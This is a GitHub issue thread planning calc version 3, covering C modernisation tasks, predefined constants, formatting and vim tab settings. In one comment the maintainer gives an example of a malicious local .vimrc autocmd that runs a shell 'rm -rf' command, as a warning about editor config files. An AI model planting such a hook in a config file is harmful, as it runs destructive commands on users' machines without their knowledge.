Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Enhancement: plan for calc v3 #103

Open
1 of 48 tasks
lcn2 opened this issue Oct 4, 2023 · 65 comments
Open
1 of 48 tasks

Enhancement: plan for calc v3 #103

lcn2 opened this issue Oct 4, 2023 · 65 comments
Assignees

Comments

@lcn2
Copy link
Owner

lcn2 commented Oct 4, 2023

This is a placeholder for TODO items needed to have the release calc version 3 (after calc 2.15.1.x is released and stable). Think of this TOOD list as a planned set of changes that will come with calc v3

Things TODO when starting work on calc v3

  • create calcv2 branch on GitHub
    See How to Create a New Branch in GitHub - What's a Branch, Anyway?
    See Creating and deleting branches within your repository

  • on master branch change calc version to 3.0.0

  • check in to ==>> master <<== branch the calc version to 3.0.0 change as a unstable release

  • use calloc(3) instead of malloc(3) were reasonable

  • assume C has const
    use const instead of CONST
    eliminate use of have_const.h

  • assume C has extern
    use extern instead of E_FUNC and EXTERN
    NOTE: address the DLL need for Cygwin compilers, so
    perhaps use external DLL instead?
    clean up decl.h

  • assume C has static
    use static instead of STATIC
    clean up decl.h

  • require <inttypes.h>
    eliminate use of have_inttypes.h

  • require <limits.h>
    eliminate use of have_limits.h

  • assume use of memmove()
    eliminate use of have_memmv.h

  • assume use of memcpy() and memset()

  • do not assume getprid()
    eliminate use of have_getprid.h
    eliminate code that depends on HAVE_GETPRID

  • require <stdbool.h>
    eliminate use of have_stdbool.h
    eliminate use of bool.h

  • require <stdint.h>
    eliminate use of have_stdint.h

  • require <stdlib.h>
    eliminate use of have_stdlib.h

  • require <strdup.h>
    eliminate use of have_strdup.h

  • require <string.h>
    eliminate use of have_string.h

  • require <unistd.h>
    eliminate use of have_unistd.h

  • require use of <stdarg.h>
    eliminate use of have_stdvs.c
    eliminate use of have_varvs.c
    remove code that depends on VARARGS being defined

  • assume use of vsnprintf() and vsnprintf()

  • require use of c17 or later C compiler
    update banned.h to ban gmtime()
    update banned.h to ban localtime()
    update banned.h to ban ctime()
    update banned.h to ban ctime_r()
    update banned.h to ban asctime()
    update banned.h to ban asctime_r()
    change chk_c.c to test for c17 or later.

  • eliminate BASEB == 16 option

  • remove any #include of calc *.h files that are not needed

  • make v_type and v_subtype an int32_t in value.h
    This will allow for number larger than 4GB in size

  • reformat C code using Xformat
    The format is TBD (perhaps discussed in a comment below)

  • test for support of 128-bit and also for 256-bit data types
    This would allow for a BASEB of 64 and 128
    See issue Enhancement: Try to support BASEB == 64 #48

  • Remove calc -O and the old classic defaults

  • Change the calc default as of the following had been set:
    config("tilde_space",1),;
    config("fraction_space",1),;
    config("complex_space",1),;

  • Support hex float constants
    A "hex float' matches the following regex: [+-]?0x[0-9a-f]+([.][0-9a-f]+)?(p[+-]?[0-9]+)?
    See issue Enhancement: support hex floats #14 for more details.

  • Document or flag as syntax error when the numerator is assumed
    When calc is given just /2 (no numerator), calc assumes a numerator of 1.
    This /x becomes equivalent of 1/x. If this a bug, then flag as a syntax error,
    otherwise if this a a feature then document under help/unexpected.
    See issue Enhancement: Document or warn when the numerator is assumed #49 for more details.

  • Change #define CONFIG_SOMETHING in config.h into an enum

  • Move to a 3-level version system
    Update README.RELEASE to use a 3 level version system.
    See issue Move to a more ordinary versioning scheme or document current scheme #113

  • Improve how someone can control where calc installs things
    Improve the documentation on how and where calc installs things.
    See issue [Msys2] It will always install to /usr regardless of whether PREFIX is set or not #108

  • Improve use of readline and the programmable completion feature
    Look into completing the names of functions, variables, and providing lists of available help files or functions
    See issue command completion? #115.

  • Add pre-defined constants to calc
    See comment 1749699647 below.
    See also comment 1751269852, comment 1751309220, and comment 1751332488

  • Release calc also as a macOS DMG for universal binary
    NOTE: A single DMG for x86_64 and Apple Silicon

  • Release calc also as a s390x RPM
    NOTE: See Support self-hosted runner on linux-s390x platform
    NOTE: See also Run-On-Arch GitHub Action

  • Release calc as a Debian ".deb" binary package
    NOTE: See Debian packaging

  • Split help/command into separate help files
    Have help/read just report on the read command, for example.
    The help/command should be a concatenation of these separate help files.
    The help/command at the top should suggest help usage and help man.

  • Improve help help
    The current help/help file need to be improved, both in the order of items presented as well as to provide topics of better interest.
    Consider how man perl breaks up and names sections. This might be a useful model.

  • Add help man to print the formatted calc man page.
    Replace help usage with help man and print the formatted man page.
    Alias help calc.1 to help man.

  • Move help/functlist* outside of the help dir
    Put only help files and help/Makefile under the help/ directory.

  • Change help/Makefile to print a special help file about calc Makefiles.
    Alias help makefile to help Makefile.

  • Change help/usage and change calc -h to print information about the calc command line
    This print a short message about using the help command, and then print a typical command line usage summary.

  • Add help faq to print a calc frequently asked questions file
    Look over open and closed discussions and old Email for various FAQ ideas.

  • Explore the possibility of being able to save and restore calc history in machine ("native") form
    See comment 1754161473

  • Integrate calc with gnuplot(1)
    Come up with a good way for calc to drive gnuplot.
    See issue Enhancement: Plotting #126.

  • Rewrite the Blum-Blum-Shub pseudo-random number generator seed code in zrandom.c
    Rewrite the seed code to be a straightforward generator seeding, while maintaining backward compatibility.
    That is, no difference from a user's perspective. Fix the one known and minor calc memory leak as well.

MORE TODOs to be added over time.

@lcn2
Copy link
Owner Author

lcn2 commented Oct 4, 2023

Thank you for your suggestions

We wish to thank @ilyakurdyukov for issue #48 that is now part of this issue.

We wish to thank @ghost for issue #14 that is now part of this issue.

We wish to thank @Gusted for issue #49 that is now part of this issue.

We with to thank @pmetzger for issue #113, #115 and #116.

@lcn2
Copy link
Owner Author

lcn2 commented Oct 4, 2023

Calc version 2.15.0.0 has been released. This is the last major update to calc v2 planned before we start work in calc version 3.

As we work on our initial plan for calc version 3 and update the calc v3 TODO list, we will monitor use of calc v2.15.0. Any issues reported in the short term will be addressed on the master branch and a calc version 2.15.0.x will be released.

Once all seems quiet, and our initial planning for calc version 3 is firm, we will form the calcv2 branch and begin work on the calc v3 TODO list. Should there be a need for a calc v2 bug fix release after that, we will apply such changes to the calcv2 branch.

@lcn2
Copy link
Owner Author

lcn2 commented Oct 5, 2023

In comment 1929072414, @pmetzger suggests:

It would be nice if there were a library of predefined constants just as there's a library of predefined functions. Yes, for some things one can just do e=exp(1) or pi=pi() and so forth at the start of one's session (and I have those in particular in my calc rc file), but it's a bit annoying for beginners. Perhaps a library of common mathematical constants might be made available?

Calc could start off with certain constants as predefine variables, subject to the epsilon() precision. But what if people need a different epsilon?

Perhaps what might be needed is some "rebuild the constants to this epsilon" such as:

constants([eps])

The constants builtin would rebuild the internal constants to a specified epsilon level.

By default (unless calc was given such flag such as calc -L), calc would start out with the constants pre-set to the default epsilon value.

OK: we are talking about the constants that are not rational values. The internal constants for things like 1, 2, -1, and 10 don't count. Well they are part of counting, but you know what we mean. :-)

We also prefer to constants that are reasonably sized. We are not going to load Skewes's number for example. :-) :-) :-) We also need to restrict to constants that are easy to compute, so we are not going to compute Ackermann function related constants either :-) :-) :-). Only simple easy to compute constants. And not too many constants: we don't want to delay calc startup time too much.

If so, what constants should calc pre-define? What are their names?

Please add your suggestions, in the form of Wikipedia links to the constants you wish calc to pre-compute and pre-define.

@lcn2 lcn2 changed the title Enhancement: release calc v3 Enhancement: plan for calc v3 Oct 5, 2023
@pmetzger
Copy link

pmetzger commented Oct 6, 2023

My own list in my .calcrc looks like this; almost all of these were added at some point because of an immediate need and then left forever. I think most of these aren't a good idea unless some sort of namespacing is provided. (Also, for constants with dimensions, it's hard to know which version of the constant one should use.)

(Adding dimensions to Calc would be interesting of course. But a lot of work! Still, it also would sometimes lead to errors being found which is quite useful.)

Anyway, I'd say "e" and "pi" are of course pretty obvious. If one adds physical constants that aren't dimensionless, they probably should be in MKS (SI) units. If one has namespaces (i.e. if one can say math.pi or phys.G or import things or what have you) then one can add an endless number of these without worrying about them interfering or polluting the namespace.

## Euler's Constant
e = exp(1)
## Pi
pi = pi()

## The Ideal Gas Constant, assuming you're working in Joules or L*kPa
Rj=8.314472
## The Ideal Gas Constant, assuming you're working in KJoules
RkJ=(8.314472/1000.0)
## Avogadro's Number
Na=6.0221415e23
## speed of light in meters per second (EXACTLY)
c_m=299792458.0
## kilometers per second
c_km=c_m/1000.0
## 1 atomsphere, in kPa
StdP=101.325
## hbar
hbar=1.05457E-34
## boltzmann's constant
kb=1.38065E-23

@ilyakurdyukov
Copy link

we don't want to delay calc startup time too much

You can perform calculations the first time the constant is used. This way you don't have to calculate all the constants at startup.

@pmetzger
Copy link

pmetzger commented Oct 6, 2023

@ilyakurdyukov So lazy computation? Though I suspect that if it's just a few things (like pi and e) the time spent will be ignorable.

@lcn2
Copy link
Owner Author

lcn2 commented Oct 6, 2023

We like the idea of pre-defining constants.

The effect of this calc v3 idea is that one would be able to do:

$ calc
C-style arbitrary precision calculator (version 3.x.y)
Calc is open software. For license details type:  help copyright
[Type "exit" to exit, or "help" for help.]

; sin(pi/3)
	0.86602540378443864676
;

and it would just work.

In many cases the constants could be compiled in so that no startup time would be required. Given the default epsilon, the const.c would be modified to include these pre-compiled values.

Internally calc as a number of constants. If you look at the start of qmath.c and commath.c you will see a few. However this internal values are for the convenience of builtin functions so that values such as 1 and 2 do not have to be allocated and used over and over again. However ... such internal constants are NOT visible in the variable name space. Moreover, we are NOT considering add variables such as one to contain 1. Because one already has a constant symbol: 1 :-)

To state the obvious, calc is in wide use in area of the world where English is not the native language: so English names are NOT good choices for constants. Thankfully in physics, math, engineering, the sorts of constants are mostly in language independent form.

However in cases where the constant symbol is, say, a Greek letter, we need to use an ASCII equivalent set of letters, so we would use "pi".

We would add a new builtin function, such as:

constants([eps])

that would re-compute the internal constants using the epsilon or precision supplied value. So if someone wanted to work with constants to only 10 decimal places:

constants(1e-10)

The existing show command would be expanded to show the pre-defined constants:

show constants

We would probably print the pre-defined constants ahead of the internal constants table. Or we would add a different show command such as:

show predefined

And of course there would be a help file:

help constants

that would explain the new constants([eps] built-in function, and something like (we are just guessing at names for now) would be one of the pre-built help files that showed the result of show constants.

help predefined

Someone is free to reassign the value of a constant. Say, for example, that i is a constant pre-defined to the square root if -1, and some did:

for (i=0; i < 10; ++i) { print i; }

Well just any variable they just changed a calc variable and that is fine.

Nevertheless doing:

for (i=0; i < 10; ++i) { constants(10 ^ -i); }

would NOT work as expected if i were such a constant. Calling the constants() builtin would be like doing:

read myconstants.cal

UPDATE 0a

As stated above, there would be a command line option to NOT pre-define constants. Again we are guessing at the option name here, nevertheless doing something like (the letters c, C, and p already are in use,. so P for no-predefined?):

calc -P

Such a command line flag would keep the constant variables out of the name space.

We would also rename the current file help/const.cal to something else.

UPDATE 1

We are thinking that the list of constants would not be too long. The output of:

show predefined
help predefined

would NOT print pages and pages of constants. It would just a reasonable list.

@lcn2
Copy link
Owner Author

lcn2 commented Oct 6, 2023

Some care would need to be used in determining which constants were pre-defined and what values they would have.

Consider these lists of constants:

There are far too many to include them all, and there are far too many constants that have a very narrow use case.

Worse still, there are conflicting content names. For example:

In the above conflict, the mathematical version would be used.

Then there is the question of units. Consider the Gas constant R:

We would probably go with the SI constant value instead of trying to include variations such as for "L⋅bar⋅K−1⋅mol−1", or "erg⋅K−1⋅mol−1", or "m3⋅atm⋅K−1⋅mol−1", etc.

UPDATE 0a

During this calc v3 planing phase, we would in this issue #103, come up with a proposed table of pre-defined constants that would specify:

  • constant variable name
  • constant numerical value (subject to the default rounding mode and default epsilon value: 1e-20)
  • string that describes the constant
  • URL reference for the constant

We would then invite people to comment, suggest and correct such a table before implementing.

@pmetzger
Copy link

pmetzger commented Oct 6, 2023

Yes, the SI (i.e. MKS) units are probably the best.

I still suspect some sort of namespacing might be best for most things other than e or pi; that way you can request the physics version of alpha or the math version or what have you.

@lcn2
Copy link
Owner Author

lcn2 commented Oct 6, 2023

Yes, the SI (i.e. MKS) units are probably the best.

I still suspect some sort of namespacing might be best for most things other than e or pi; that way you can request the physics version of alpha or the math version or what have you.

Interesting idea. While the pre-compiled table could have a default, one could switch via:

config("constant", "physics");
config("constant", "math");
config("constant", "default");
config("constant", "none");

and use a calc command line option such as:

calc -P physics
calc -P math
calc -P default
calc -P none

In the above cases, the "none" option would disable all constants. The "default" would be the default set. :-)

So if "pi" were defined:

$ calc
C-style arbitrary precision calculator (version 3.x.y)
Calc is open software. For license details type:  help copyright
[Type "exit" to exit, or "help" for help.]

; ln(pi)
	1.14472988584940017414

and then you did:

; config("constant", "none");
        "default"

then this would happen:

; pi^2
"pi" is undefined

The effect of switching to a constant table would be to assign null() to those constants in the old space that were NOT in the new space.

@pmetzger
Copy link

pmetzger commented Oct 6, 2023

I was thinking more of something like math.phi (for the golden ratio) and physics.G (for the gravitational constant) myself. Maybe pi and e are too common for that, but many of the others aren't. One could also use phi=math.phi to "import" a single identifier or have a thing likeimport("math") for those that don't want to deal with qualified identifiers at all.

@lcn2
Copy link
Owner Author

lcn2 commented Oct 7, 2023

I was thinking more of something like math.phi (for the golden ratio) and physics.G (for the gravitational constant) myself. Maybe pi and e are too common for that, but many of the others aren't. One could also use phi=math.phi to "import" a single identifier or have a thing likeimport("math") for those that don't want to deal with qualified identifiers at all.

Calc does have objects. Perhaps that might be useful. On the other hand that might be an unnecessary complication given that people would want "pi=math.pi" anyway.

We suggested in comment 1751332488, calc would have a different constant sets with the "default" set being the default :-). Even though calc might start out with a "math", "physics", "default" constant set combo, more sets could be easily added such as "astronomy" or "statistics" or "number_theory" if it turned out that the "math" or "physics" constant set was too limited or that the constant variable names in those sets needed to change.

The next thing to do is to propose what the initial constants sets contain. I.e., we need to determine:

  • constant set name
  • string that describes the constant set

And then for each constant set, we need a list of:

  • constant variable name
  • constant numerical value (subject to the default rounding mode and default epsilon value: 1e-20)
  • string that describes the constant
  • URL reference for the constant

Again, these constant sets would be compiled into calc. The calc -P setname and config("constant", "setname") would allow for someone to easily specify a set. And the set name of "none" would have no constants.

@kcrossen
Copy link

kcrossen commented Oct 7, 2023 via email

@lcn2
Copy link
Owner Author

lcn2 commented Oct 8, 2023

Presumably, when the constants are assigned to variables, they will "will" no properties for their assignees to "inherit".

Correct. The variables will have numerical values (rational (NUMBER) or complex rational (COMPLEX)) to the precision of the epsilon value. No special properties. Easy to change or remove. And if the "none" constant set is used (by invoking calc -P none or calling config("constant", "none") they go away.

@kcrossen

This comment has been minimized.

@pmetzger
Copy link

pmetzger commented Oct 9, 2023

e and pi are clearly too common to want to have qualified, but G or k_b (Boltzmann's constant) might not be common enough to want in the main namespace by default.

@lcn2

This comment has been minimized.

@lcn2
Copy link
Owner Author

lcn2 commented Oct 9, 2023

e and pi are clearly too common to want to have qualified, but G or k_b (Boltzmann's constant) might not be common enough to want in the main namespace by default.

It seems, @pmetzger, reasonable that e and pi would be in the "default", "math" and "physics" constant sets (however constant sets are implemented).

Question for all

Consider the case of Boltzmann constant. It would be very reasonable to include that in the "physics" constant set.

What should the name of that constant be in calc? Which name do you prefer?

  1. Kb
  2. K_b
  3. kb
  4. k_b

@lcn2
Copy link
Owner Author

lcn2 commented Oct 9, 2023

Alternate (and elegant) solution to my initial "inheritance" issue. Control
of "inheritance" still a good feature.

Interesting point, @kcrossen. Calc does have the concept of scope. Consider a valuable that is declared local:

local curds = 5;

Local variables are visible only within a single function or command sequence. When the function or command sequence returns, the local variables are deleted.

So if we have an import(constant_set) function, that could have the effect of declaring the constants as local.

For example:

import("math_constant");        /* assume this means import the math constant set */

or

import("math.constant");        /* assume this means import the math constant set */

That would have the effect of:

local pi = ...;
local e = ...;
local gamma = ....;
etc.

@pmetzger
Copy link

After further consideration JIT or calc is beyond the above of calc version 3 planning. As such we have marked the JIT related comments as obsolete and removed the reference to JIT from the TODO list.

If you do ever decide to do a JIT (I don't think you should), LLVM is the right mechanism for building it these days. But I think you shouldn't.

@pmetzger
Copy link

Any ideas about how let calc work the gnuplot(1) / GnuPlot command would be welcome.

It would be pretty hard to do it "inline". calc is primarily a terminal based program, and gnuplot etc. generates graphics that require some sort of GUI to view even if said graphics are generated on the command line. What you could do is produce inputs for gnuplot, but one can already do that pretty straightforwardly from calc.

A much more involved project (and a very very different one indeed!) would be to create some sort of GUI notebook mode version of calc, but in that case, there's not really any advantage for calc over Jupyter with Python IMHO. What calc is great at is being a desk calculator.

@pmetzger
Copy link

On the question of units and dimensions: I often feel that units and dimensions are something computer systems don't often deal with well even though they should. (An exception is the language F# which added them at one point.) They're cool because, as with other sorts of types, they tell you when you've made a major mistake. I do not think Calc should add them in the near term! However, it might be a cool thing to put in "someday".

@lcn2
Copy link
Owner Author

lcn2 commented Oct 19, 2023

Any ideas about how let calc work the gnuplot(1) / GnuPlot command would be welcome.

It would be pretty hard to do it "inline". calc is primarily a terminal based program, and gnuplot etc. generates graphics that require some sort of GUI to view even if said graphics are generated on the command line. What you could do is produce inputs for gnuplot, but one can already do that pretty straightforwardly from calc.

We could see some builtin function whose default args would establish a pipe to gnuplot(1) and pump data into that pipe.

Perhaps individual values or an array could be written to such a pipe.

A "popen" related set of builtins, with a special "gnuplot" set of builtin functions, including support functions for wrtiting into the "gnuplot pipe" to make it easier to work with gnuplot(1).

Just some initial thoughts 💭.

@lcn2
Copy link
Owner Author

lcn2 commented Oct 19, 2023

On the question of units and dimensions: I often feel that units and dimensions are something computer systems don't often deal with well even though they should. (An exception is the language F# which added them at one point.) They're cool because, as with other sorts of types, they tell you when you've made a major mistake. I do not think Calc should add them in the near term! However, it might be a cool thing to put in "someday".

Fair points @pmetzger

Initially the constant sets would just be variables that were named and initialized to a given value.

A constant will not be a "C const", one will be able to change them, reload them to a new epsilon precision, free them, etc.

@Theluga
Copy link

Theluga commented Jan 1, 2024

Hello, I just learned about this awesome project when trying to do some calculations on my shell. (sorry for the formatting, I'm writing from my phone)

I would love to include some constants that would be really helpful on some quick checks on my use case (electrical engineering)

The vacuum permittivity ε0 could be called "elecperm0" from electric permittivity.
https://en.m.wikipedia.org/wiki/Permittivity

The vacuum magnetic permeability μ0 could be called "magperm0" from magnetic permeability.
https://en.m.wikipedia.org/wiki/Vacuum_permeability

And lastly the elementary charge that was cited before as e in particle physics.
I believe this last one could be called "ec" as elementary charge in coulumbs.
https://en.m.wikipedia.org/wiki/Elementary_charge

I think it would be good to name this way those constants, because μ (mi or mu or u) could mean friction coefficient, density etc.

As epsilon can mean a lot of things.

Thank you for your awesome work!

@lcn2
Copy link
Owner Author

lcn2 commented Jan 2, 2024

Hello, I just learned about this awesome project when trying to do some calculations on my shell. (sorry for the formatting, I'm writing from my phone)

I would love to include some constants that would be really helpful on some quick checks on my use case (electrical engineering)

The vacuum permittivity ε0 could be called "elecperm0" from electric permittivity. https://en.m.wikipedia.org/wiki/Permittivity

The vacuum magnetic permeability μ0 could be called "magperm0" from magnetic permeability. https://en.m.wikipedia.org/wiki/Vacuum_permeability

And lastly the elementary charge that was cited before as e in particle physics. I believe this last one could be called "ec" as elementary charge in coulumbs. https://en.m.wikipedia.org/wiki/Elementary_charge

I think it would be good to name this way those constants, because μ (mi or mu or u) could mean friction coefficient, density etc.

As epsilon can mean a lot of things.

Thank you for your awesome work!

Excellent ides. And useful to calculate c 🤓 if you are "so-inclined".

But seriously, these will be good to add to the physics constant set.

And thank you for your kind words, @Theluga

@lcn2
Copy link
Owner Author

lcn2 commented Jan 2, 2024

Calc v3 plans

Just an update, we are working on issue #138 (Bug: When calc is linked with and uses GNU readline then for any multi-line copy-and-paste, only the first line is executed).

There is a really "minor" memory leak relating to the random() and srandom() (the Blum-Blum-Shub pseudo-random number generator). We say "minor" because use of the Blum-Blum-Shub pseudo-random number generator does not increase the leak: it doesn't seem to grow over time, and it doesn't show up unless you use it, and the amount of memory leaked (which appears to be a constant amount when the generator is used) is small.

The Blum-Blum-Shub pseudo-random number generator seeding code in zrandom.c was made "too cleaver by half" and simply needs to be re-written to be "straightforward" implementation of seeding the generator.

For this reason we have decide to push the Blum-Blum-Shub pseudo-random number generator seed rewrite into calc v3 sp as to not delay the start of the start of the calc v3 development.

Once issue #138 has been addressed and well tested, we plan to release calc v2.15.0.5. This will be a "maintenance"-like release with the GNU readline copy-add-paste issue addressed, and a minor improvement to make clobber, plus whatever typos people manage to report in the mean time :-)

Fixing minor nits, typos and improving the calc documentation / calc man page readability is always welcome.
Nevertheless, doing this very soon, before the v3 fork, would be VERY welcome.

Once calc v2.15.0.5 as been released, we plan to use tool to normalize the calc source code in a consistent way: in similar to most of the current code. Probably the biggest change would be to go to a 4-character indentation model.
None of the v3 code cleanup would be performed: just a code consistency update. Since the 1990's some part of the code were modified in a somewhat contrasting way: those sections would be bright into alignment with the majority of the rest of the code base. No calc functionality would be changed. A diff -b -w would show "nil changes" except for those "code warts" that stand out like a "sore-warty thumb".

Doing that BEFORE the fork means that if something important is discovered in the calc v3 code that needs to be back-porte into the calc v2 code branch, it will be easier to apply such a patch to the older v2 calc code. We don't anticipate making changes to calc v2, but you never know when some bug is uncovered and the fix needs to be applied to calc v2.

So after calc v2.15.0.5 we plan to do the above code wack and release (after extensive testing of course) calc v2.15.1.0. We will let that code "soak" in the wild. If all goes well, (or if a calc 2.15.1.x is needed to improve something), we will release a v2.16.0.0 as the "v3 fork point".

At present we are involved in the IOCCC (International Obfuscated C Code Contest) retooling, a year+ project to produce a better IOCCC experience. Don't worry about calc, we plan to not mimic the IOCCC winners style 🤓). That project, and the related IOCC mkiocccentry tooling has kept is very busy. The "calc v2.15.0.5" soak time will be well spent. And we will be still active in planning for the calc v3 project start.

We are excited about the calc v3 plans, and look forward to proceeding with care and solid testing and you have come to expect from calc.

As always, and in the mean time: calc v3 suggestions ideas remain welcome.

Happy 2024!

@lcn2
Copy link
Owner Author

lcn2 commented Feb 2, 2024

FYI: Issue #138 has been resolved and calc 2.15.0.5 release is now live.

As mentioned in comment 1873595215, we will now "let that code "soak" in the wild". We will continue to proceed with the above mentioned plans.

@pmetzger
Copy link

pmetzger commented Feb 2, 2024

What tool are you using to reformat the code? clang?

@lcn2
Copy link
Owner Author

lcn2 commented Feb 2, 2024

What tool are you using to reformat the code? clang?

We are considering using the Xformat Clang Format app by Furnace Creek Software, and specifically the Xformat's Batch Format tool. And then inspect and improve if needed, by hand.

We are very open to suggestions for other tools, however.

The plan is, assuming all stays well with the most recent calc 2.15.0.5 release, we would create a calc version 2.15.1.0 out of the reformatted source code. Assuming that does well, then that would be the place where calc v2 and calc v3 fork.

@pmetzger
Copy link

pmetzger commented Feb 2, 2024

clang-format is a command line tool bundled with clang (which is LLVM's C and C++ compiler). I haven't used it on large projects but it apparently works quite well.

@lcn2
Copy link
Owner Author

lcn2 commented Feb 2, 2024

clang-format is a command line tool bundled with clang (which is LLVM's C and C++ compiler). I haven't used it on large projects but it apparently works quite well.

We will look for clang-format: thanks for the suggestion @pmetzger

@pmetzger
Copy link

pmetzger commented Feb 3, 2024

For what it's worth, I happen to like K&R style formatting (with four space indents, and no use of tabs in source files), but that's personal taste.

@lcn2
Copy link
Owner Author

lcn2 commented Feb 4, 2024

For what it's worth, I happen to like K&R style formatting (with four space indents, and no use of tabs in source files), but that's personal taste.

As do we.

UPDATE 0

Your desire of "no use of tabs in source files" is understandable, @pmetzger.

A side story about horizontal tabs and IBM 3270-style block mode terminals

Long ago when we worked for Amdahl on a Unix port to IBM compatible mainframes, where IBM 3270-style block mode terminals, the presence of horizontal tab in things like a Makefile, let alone C code, was a pain. Someone using one of those block mode terminals with the common block mode terminal editor of the day, when they edited a Makefile, would convert leading tabs into spaces. The common make(1) tool of that day would barf a a make rule when a command line did not start with a tab. And while someone hacked the UTS-make command to allow for a command lines to start with just a space, the makefile while fail for most non-UTS users.

Repairing the damage caused by IBM 3270-style block mode terminals was not fun. Even with diff -w, the automated build system would trigger usefulness recompiles. And some blame could be put in the common make(1) tool of that day, and blame could be put in the common common block mode terminal editor of the day, some blame could be put on the use of tab characters as well.

Common use of tabs today

A number of smart editors today convert leading whitespace into leading tabs (optionally followed by a sub-tab width number of spaces) by default. We learned that fighting the tab problem is not fun, nor a useful use of time.

Our use of vim(1) includes the following in our ~/.vimrc file:

" Set shift width to 4
:set sw=4

We do that simply because vertical tab stops being 8 spaces wide, is widely baked into many things everywhere. And yes, we know that some treat vertical tab stops differently. It is a mess. sigh

We could use a tool, as part of our release process, that would regularize the use of leading whitespace in calc source code, help files, documentation, Makefiles, etc. We could pick a convention about leading whitespace calc. But in doing so, we would be entering in a more modern version of above mentioned IBM 3270-style block mode terminal. This might involve code commits that are simply changes in whitespace, which is not fun either.

Escaping the tab key :-)

Our initial guess is to leave leading tab characters as they are and probably not fight the use of vertical tabs?

@lcn2
Copy link
Owner Author

lcn2 commented Feb 9, 2024

FYI: See comment 8421543 for a minor update on the above mentioned calc v3 plans.

@pmetzger
Copy link

BTW, I think this is probably the best explanation of the tabs and spaces controversy: https://www.jwz.org/doc/tabs-vs-spaces.html

The key insight is early on, that there are three things people care about: what does ASCII Code 9 do when it's in a file, how far in do you indent things, what happens in your text editor when you hit tab, and that these three things are distinct concerns. I think the whole thing is worth reading.

(I personally prefer code indented by four characters each time, I prefer that tabs not be used in files because different editors display them differently and we don't need to save a couple of bytes any more, and I prefer that the tab character in my editor inserts an appropriate number of spaces. Your tastes my vary, but I seem to generally have similar tastes to Jamie Zawiniski, the author of that post.)

@lcn2 lcn2 mentioned this issue Feb 12, 2024
@lcn2
Copy link
Owner Author

lcn2 commented May 2, 2024

BTW, I think this is probably the best explanation of the tabs and spaces controversy: https://www.jwz.org/doc/tabs-vs-spaces.html

The key insight is early on, that there are three things people care about: what does ASCII Code 9 do when it's in a file, how far in do you indent things, what happens in your text editor when you hit tab, and that these three things are distinct concerns. I think the whole thing is worth reading.

What you said in comment-1939127107, @pmetzger, has merit.

(I personally prefer code indented by four characters each time, I prefer that tabs not be used in files because different editors display them differently and we don't need to save a couple of bytes any more, and I prefer that the tab character in my editor inserts an appropriate number of spaces. Your tastes my vary, but I seem to generally have similar tastes to Jamie Zawiniski, the author of that post.)

We performed an experiment where we expanded all TABs into spaces via the expand(1) tool. With the exception of Makefiles, calc works as normal.

We know that some make(1) tools do allow for non-TAB rulesets, however this is NOT widespread. So the calc Makefiles would have to remain TAB-ed.

Comments welcome.

Requesting advice on vim settings

Any suggestions on how to configure vim(1) (sorry emacs users) to automatically keep TABs out of the calc source tree, except for calc Makefiles that must use TABs, would be appreciated.

In general we need, for all files under the calc source directory, except for files of the form Makefile, Makefile.* and *.mk, to have these vim(1) settings:

" Use 4-space indents
"
:set shiftwidth=4

" Intelligently use the tab key for indentation instead of for inserting tab characters
"
:set smarttab

" Use space characters, never tab characters
"
:set expandtab

" Set tab stops to be different from the indentation width.
"
:set tabstop=8

" Reduce the chance of tab characters masquerading as proper indents.
"
:set softtabstop=0

We do NOT want to do this for all files everywhere. We only what this for all the files in the calc source directory expect the Makefiles (files of the form Makefile, Makefile.* and *.mk). Thus we CANNOT simply add the above settings to our ~/.vimrc file.

We do NOT want to enable local directory .vimrc files in general as this is dangerous. Someone could provide a tarball with an evil .vimrc that could do things like autocmd BufEnter * :silent! !echo rm -rf stuff.

It might be permissible to enable the .vimrc files for the calc source directory, but that could also be dangerous as some patch could alter that local .vimrc file and create similar problems.

We do NOT want to have to remember to execute some magic vim command to set this stuff, before editing files under the calc source directory, we and others are likely to forget to execute such a magic command. We want it to be automatic.

Any suggestions?

Perhaps use of vim modules along the lines of local_vimrc or some other vim plugin alternative is the way to go?

@pmetzger
Copy link

pmetzger commented May 3, 2024

Some variation of this, as a line at the top of a C file, will fix the issue for both vim and Emacs:

// -*- coding: utf-8; mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- vim:fenc=utf-8:ft=tcl:et:sw=4:ts=4:sts=4

It might need a touch of debugging. Some of it (like UTF-8) is optional; ASCII can be assumed if you want.

@pmetzger
Copy link

pmetzger commented May 3, 2024

Oh, and yes, POSIX and tradition specify that tab is significant in Make and needs to be there to introduce build recipes. I remember Stu Feldman 35+ years ago quoting Macbeth and saying make was "from its mother's womb untimely ripped."

@lcn2
Copy link
Owner Author

lcn2 commented May 3, 2024

Some variation of this, as a line at the top of a C file, will fix the issue for both vim and Emacs:


// -*- coding: utf-8; mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- vim:fenc=utf-8:ft=tcl:et:sw=4:ts=4:sts=4

It might need a touch of debugging. Some of it (like UTF-8) is optional; ASCII can be assumed if you want.

While we appreciate the suggestion, @pmetzger, we don't think imbedding edit commands into the content of files is a viable solution.

Unfortunately, modifying the 1st line of a file does not always work for files where the 1st line has special meaning (like scripts) or whose entire content is used (no comment lines like help and pure text files).

Worse still, the problem of allowing the 1st line of a file to be interpreted as editor commands is a security problem, similar to the problem of allowing a .vimrc file in the local directory to reconfigure the editor.

Even if one uses a method whereby the editor configuration line simply needs to be early in the file (not necessary the first line), you still have the problem for files whose entire content is used (no comment lines like help and pure text files). Moreover you still have the security problems where imbedded editor commands can cause the editor to do bad things.

No, we don't think we should imbed editor commands into the content of calc source files.

Any other suggestions?

@pmetzger
Copy link

pmetzger commented May 3, 2024

This is only a solution for C files. Of course, scripts probably don't matter as much for developers. BTW, note that these commands are always something vim and Emacs have available; both editors take pains to not allow arbitrary variables to be set. If it's a problem, it's a problem no matter what if you open a file you didn't write, someone can always set stuff this way.

However, you prefer an alternative. One might be just to document the code style you want and maybe provide lines for vim and emacs in your HACKING document or equivalent?

BTW, for Emacs, a user would want:

(setq-default indent-tabs-mode nil)

and to have c-basic-offset for cc mode set to 4.

@lcn2
Copy link
Owner Author

lcn2 commented Jun 1, 2024

We have added issue #151 for "automatic vim no TAB configuration for all calc source except makefiles".

@lcn2
Copy link
Owner Author

lcn2 commented Jun 17, 2024

As an OT (Off Topic) calc update:

